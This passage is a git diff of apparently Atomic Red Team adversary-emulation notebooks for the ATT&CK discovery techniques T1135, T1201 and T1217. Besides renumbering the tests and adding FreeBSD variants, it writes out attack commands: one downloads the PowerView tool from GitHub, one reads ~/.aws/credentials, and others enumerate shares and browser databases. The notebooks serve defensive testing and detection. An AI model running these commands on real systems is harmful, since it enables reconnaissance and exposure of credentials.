"PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1135.ipynb b/playbook/tactics/discovery/T1135.ipynb index 911bd55d..c3938b7b 100644 --- a/playbook/tactics/discovery/T1135.ipynb +++ b/playbook/tactics/discovery/T1135.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3361bb1d", + "id": "374a9fe0", "metadata": {}, "source": "# T1135 - Network Share Discovery\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services." }, { "cell_type": "markdown", - "id": "5db82f4d", + "id": "166e3b6e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a0f7faee", + "id": "b9f40c6e", "metadata": {}, "source": [ "### Atomic Test #1 - Network Share Discovery", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "59551247", + "id": "8914d600", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1135 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ffbf9778", + "id": "40683fc1", "metadata": {}, "source": "### Atomic Test #2 - Network Share Discovery - linux\nNetwork Share Discovery using smbstatus\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Package with smbstatus (samba) must exist on device\n\n##### Check Prereq Commands:\n```bash\nif (rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed) > /dev/null; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nsudo (which yum && yum -y install epel-release samba)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y samba) \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ecb21e1e", + "id": "0f35f249", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1135 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1b5b03c1", + "id": "94a7f9d5", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -58,17 +58,48 @@ { "cell_type": "code", "execution_count": null, - "id": "019f99aa", + "id": "1d7bda43", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1135 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d7544a39", + "id": "9688dce8", + "metadata": {}, + "source": "### Atomic Test #3 - Network Share Discovery - FreeBSD\nNetwork Share Discovery using smbstatus\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Package with smbstatus (samba) must exist on device\n\n##### Check Prereq Commands:\n```sh\nif (pkg info -x samba &>/dev/null) > /dev/null; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y samba413) \n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "55692177", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1135 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d18e89cf", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsmbstatus --shares\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9fb8bd89", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1135 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "592eaf53", "metadata": {}, "source": [ - "### Atomic Test #3 - Network Share Discovery command prompt", + "### Atomic Test #4 - Network Share Discovery command prompt", "Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host\nUpon execution avalaible network shares will be displayed in the powershell session\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -78,17 +109,17 @@ { "cell_type": "code", "execution_count": null, - "id": "bc36599e", + "id": "6778c832", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 3" + "source": "Invoke-AtomicTest T1135 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "74b0e234", + "id": "03be6038", "metadata": {}, "source": [ - "### Atomic Test #4 - Network Share Discovery PowerShell", + "### Atomic Test #5 - Network Share Discovery PowerShell", "Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host\nUpon execution, avalaible network shares will be displayed in the powershell session\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -98,17 +129,17 @@ { "cell_type": "code", "execution_count": null, - "id": "f60cce9d", + "id": "3dfb238c", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 4" + "source": "Invoke-AtomicTest T1135 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "c6b2640e", + "id": "82feedc7", "metadata": {}, "source": [ - "### Atomic Test #5 - View available share drives", + "### Atomic Test #6 - View available share drives", "View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -118,28 +149,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3a56dfdd", + "id": "3b46b021", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 5" + "source": "Invoke-AtomicTest T1135 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "6d2454bb", + "id": "e5e788ad", "metadata": {}, - "source": "### Atomic Test #6 - Share Discovery with PowerView\nEnumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Endpoint must be joined to domain\n\n##### Check Prereq Commands:\n```powershell\nif ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n\"Join system to domain\"\n\n```" + "source": "### Atomic Test #7 - Share Discovery with PowerView\nEnumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Endpoint must be joined to domain\n\n##### Check Prereq Commands:\n```powershell\nif ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n\"Join system to domain\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8f41adcc", + "id": "6c0c47d7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 6 -GetPreReqs" + "source": "Invoke-AtomicTest T1135 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3e0d646a", + "id": "353bffd6", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -149,48 +180,48 @@ { "cell_type": "code", "execution_count": null, - "id": "55eeb4a2", + "id": "5280d996", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 6" + "source": "Invoke-AtomicTest T1135 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "8afd0df9", + "id": "7f30271c", "metadata": {}, - "source": "### Atomic Test #7 - PowerView ShareFinder\nPowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Invoke-ShareFinder module must exist in %TEMP% directory\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\PowerView.ps1) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1\" -OutFile $env:TEMP\\PowerView.ps1\n\n```" + "source": "### Atomic Test #8 - PowerView ShareFinder\nPowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Invoke-ShareFinder module must exist in %TEMP% directory\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "414bd124", + "id": "7d82d6e1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 7 -GetPreReqs" + "source": "Invoke-AtomicTest T1135 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "50baee2b", + "id": "e27c6b66", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module $env:TEMP\\PowerView.ps1\nInvoke-ShareFinder -CheckShareAccess\n```" + "```powershell\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\nInvoke-ShareFinder -CheckShareAccess\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1a6d38ee", + "id": "1e90c648", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 7" + "source": "Invoke-AtomicTest T1135 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "f89b9b73", + "id": "1dfb03c8", "metadata": {}, "source": [ - "### Atomic Test #8 - WinPwn - shareenumeration", + "### Atomic Test #9 - WinPwn - shareenumeration", "Network share enumeration using the shareenumeration function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -200,20 +231,40 @@ { "cell_type": "code", "execution_count": null, - "id": "bda52a19", + "id": "528e1a89", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1135 -TestNumbers 8" + "source": "Invoke-AtomicTest T1135 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "419419a7", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Network Share Discovery via dir command", + "Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip\nUpon execution avalaible network shares will be displayed in the commandline session\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\ndir \\\\127.0.0.1\\c$\ndir \\\\127.0.0.1\\admin$\ndir \\\\127.0.0.1\\IPC$\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "22a927c6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1135 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "87e3ecdc", + "id": "bf497808", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "576a4e4a", + "id": "90d8e113", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to introduce decoy content to entice additional engagement activity.\n#### Use Case\nA defender can utilize decoy network shares to provide content that could be used by the adversary. \n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -221,13 +272,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1201.ipynb b/playbook/tactics/discovery/T1201.ipynb index f38a57ad..f35c6ea1 100644 --- a/playbook/tactics/discovery/T1201.ipynb +++ b/playbook/tactics/discovery/T1201.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "7a04ca58", + "id": "7ba0f5bb", "metadata": {}, "source": "# T1201 - Password Policy Discovery\nAdversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy)." }, { "cell_type": "markdown", - "id": "64bbfa54", + "id": "9039ddba", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a34b0628", + "id": "33d355df", "metadata": {}, "source": [ "### Atomic Test #1 - Examine password complexity policy - Ubuntu", @@ -27,28 +27,48 @@ { "cell_type": "code", "execution_count": null, - "id": "83e3f15f", + "id": "502b4640", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1201 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ae38c292", + "id": "d25a7dd7", "metadata": {}, - "source": "### Atomic Test #2 - Examine password complexity policy - CentOS/RHEL 7.x\nLists the password complexity policy to console on CentOS/RHEL 7.x Linux.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: System must be CentOS or RHEL v7\n\n##### Check Prereq Commands:\n```bash\nif [ $(uname -a | grep -ioP 'el[0-9]' | grep -oP '[0-9]') -eq \"7\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from CentOS or RHEL v7\n\n```" + "source": [ + "### Atomic Test #2 - Examine password complexity policy - FreeBSD", + "Lists the password complexity policy to console on FreeBSD.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat /etc/pam.d/passwd\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cf831e31", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1201 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "9f6e3be1", + "metadata": {}, + "source": "### Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 7.x\nLists the password complexity policy to console on CentOS/RHEL 7.x Linux.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: System must be CentOS or RHEL v7\n\n##### Check Prereq Commands:\n```bash\nif [ $(uname -a | grep -ioP 'el[0-9]' | grep -oP '[0-9]') -eq \"7\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from CentOS or RHEL v7\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "19455008", + "id": "142fabfe", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 2 -GetPreReqs" + "source": "Invoke-AtomicTest T1201 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "04cce958", + "id": "791decff", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -58,28 +78,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0d2806de", + "id": "63f38b29", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 2" + "source": "Invoke-AtomicTest T1201 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "71290ac5", + "id": "4baa180c", "metadata": {}, - "source": "### Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 6.x\nLists the password complexity policy to console on CentOS/RHEL 6.x Linux.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: System must be CentOS or RHEL v6\n\n##### Check Prereq Commands:\n```bash\nif [ $(rpm -q --queryformat '%{VERSION}') -eq \"6\" ]; then exit /b 0; else exit /b 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from CentOS or RHEL v6\n\n```" + "source": "### Atomic Test #4 - Examine password complexity policy - CentOS/RHEL 6.x\nLists the password complexity policy to console on CentOS/RHEL 6.x Linux.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: System must be CentOS or RHEL v6\n\n##### Check Prereq Commands:\n```bash\nif [ $(rpm -q --queryformat '%{VERSION}') -eq \"6\" ]; then exit /b 0; else exit /b 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from CentOS or RHEL v6\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4e390bc6", + "id": "d6578db0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 3 -GetPreReqs" + "source": "Invoke-AtomicTest T1201 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4b316a45", + "id": "bc9f696c", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -89,17 +109,17 @@ { "cell_type": "code", "execution_count": null, - "id": "134ece8c", + "id": "546f6ed9", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 3" + "source": "Invoke-AtomicTest T1201 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "3e447bdb", + "id": "a4e0b98c", "metadata": {}, "source": [ - "### Atomic Test #4 - Examine password expiration policy - All Linux", + "### Atomic Test #5 - Examine password expiration policy - All Linux", "Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `bash`\n", @@ -109,17 +129,17 @@ { "cell_type": "code", "execution_count": null, - "id": "ece11a1e", + "id": "4e246b46", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 4" + "source": "Invoke-AtomicTest T1201 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "fba4dfb1", + "id": "9aea3574", "metadata": {}, "source": [ - "### Atomic Test #5 - Examine local password policy - Windows", + "### Atomic Test #6 - Examine local password policy - Windows", "Lists the local password policy to console on Windows.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -129,17 +149,17 @@ { "cell_type": "code", "execution_count": null, - "id": "fde1ae3e", + "id": "234e46e4", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 5" + "source": "Invoke-AtomicTest T1201 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "05a71e0c", + "id": "446c89e4", "metadata": {}, "source": [ - "### Atomic Test #6 - Examine domain password policy - Windows", + "### Atomic Test #7 - Examine domain password policy - Windows", "Lists the domain password policy to console on Windows.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", @@ -149,17 +169,17 @@ { "cell_type": "code", "execution_count": null, - "id": "9fae98c9", + "id": "4d07b957", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 6" + "source": "Invoke-AtomicTest T1201 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "543f097b", + "id": "649e81cd", "metadata": {}, "source": [ - "### Atomic Test #7 - Examine password policy - macOS", + "### Atomic Test #8 - Examine password policy - macOS", "Lists the password policy to console on macOS.\n", "**Supported Platforms:** macos", "#### Attack Commands: Run with `bash`\n", @@ -169,17 +189,17 @@ { "cell_type": "code", "execution_count": null, - "id": "9be28822", + "id": "357d35e7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 7" + "source": "Invoke-AtomicTest T1201 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "fc4eddb6", + "id": "3606275c", "metadata": {}, "source": [ - "### Atomic Test #8 - Get-DomainPolicy with PowerView", + "### Atomic Test #9 - Get-DomainPolicy with PowerView", "Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -189,17 +209,17 @@ { "cell_type": "code", "execution_count": null, - "id": "ee95dc2a", + "id": "cab2a2b5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 8" + "source": "Invoke-AtomicTest T1201 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "3577a443", + "id": "3fe5b04b", "metadata": {}, "source": [ - "### Atomic Test #9 - Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy", + "### Atomic Test #10 - Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy", "The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.\nUpon successful execution a listing of the policy implemented will display.\nReference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -210,17 +230,17 @@ { "cell_type": "code", "execution_count": null, - "id": "9d2f732d", + "id": "feaab856", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 9" + "source": "Invoke-AtomicTest T1201 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "11bfd530", + "id": "6049aae9", "metadata": {}, "source": [ - "### Atomic Test #10 - Use of SecEdit.exe to export the local security policy (including the password policy)", + "### Atomic Test #11 - Use of SecEdit.exe to export the local security policy (including the password policy)", "SecEdit.exe can be used to export the current local security policy applied to a host.\n[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -231,28 +251,28 @@ { "cell_type": "code", "execution_count": null, - "id": "24c165de", + "id": "ecd2d0d0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 10" + "source": "Invoke-AtomicTest T1201 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "5d4dabd9", + "id": "38bd8430", "metadata": {}, - "source": "### Atomic Test #11 - Examine AWS Password Policy\nThis atomic test will display details about the password policy for the current AWS account.\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" + "source": "### Atomic Test #12 - Examine AWS Password Policy\nThis atomic test will display details about the password policy for the current AWS account.\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7909b703", + "id": "6a7ab15c", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 11 -GetPreReqs" + "source": "Invoke-AtomicTest T1201 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e14e8d0d", + "id": "556120b5", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -262,20 +282,20 @@ { "cell_type": "code", "execution_count": null, - "id": "224992f5", + "id": "4229e0d4", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1201 -TestNumbers 11" + "source": "Invoke-AtomicTest T1201 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "d9affb60", + "id": "70b8b36b", "metadata": {}, "source": "## Detection\nMonitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity." }, { "cell_type": "markdown", - "id": "e794c9ac", + "id": "e11adb76", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nIn an adversary engagement operation, there is an opportunity to impact what an adversary sees when they execute commands on a system.\n#### Use Case\nA defender can alter the output of the password policy description so the adversary is unsure of exactly what the requirements are.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -283,13 +303,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1217.ipynb b/playbook/tactics/discovery/T1217.ipynb index 053fe95c..e440b08b 100644 --- a/playbook/tactics/discovery/T1217.ipynb +++ b/playbook/tactics/discovery/T1217.ipynb @@ -2,23 +2,23 @@ "cells": [ { "cell_type": "markdown", - "id": "954ade28", + "id": "94ccbd11", "metadata": {}, - "source": "# T1217 - Browser Bookmark Discovery\nAdversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases." + "source": "# T1217 - Browser Information Discovery\nAdversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)" }, { "cell_type": "markdown", - "id": "eb43448c", + "id": "19ef88f4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2e444c61", + "id": "2f239d31", "metadata": {}, "source": [ - "### Atomic Test #1 - List Mozilla Firefox Bookmark Database Files on Linux", - "Searches for Mozilla Firefox's places.sqlite file (on Linux distributions) that contains bookmarks and lists any found instances to a text file.\n", + "### Atomic Test #1 - List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux", + "Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file.\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", "```sh\nfind / -path \"*.mozilla/firefox/*/places.sqlite\" 2>/dev/null -exec echo {} >> /tmp/T1217-Firefox.txt \\;\ncat /tmp/T1217-Firefox.txt 2>/dev/null\n```" @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f575c9c4", + "id": "969bf4eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1217 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d38f12a2", + "id": "969e48e6", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1217-Firefox.txt 2>/dev/null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "09fe6e5e", + "id": "3603156a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1217 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "bdc9294b", + "id": "b1883307", 